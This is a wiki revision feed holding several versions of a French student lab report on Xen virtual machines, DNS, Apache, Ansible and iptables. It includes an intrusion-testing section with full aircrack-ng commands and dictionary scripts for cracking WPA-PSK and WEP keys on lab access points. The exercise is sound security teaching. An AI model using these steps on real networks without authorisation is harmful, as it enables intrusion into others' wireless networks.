&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51748</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51748"/>
				<updated>2019-12-09T17:28:46Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Installation de docker */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
Nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention  à la fin des nameServer sinon bind9 rajoute automatiquement le nom du domaine&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accés au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans votre domain  dans l'onglet glue records ajouté   : &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
c'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver  sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2 : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private.&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51747</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51747"/>
				<updated>2019-12-09T17:03:40Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
    &lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
Nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
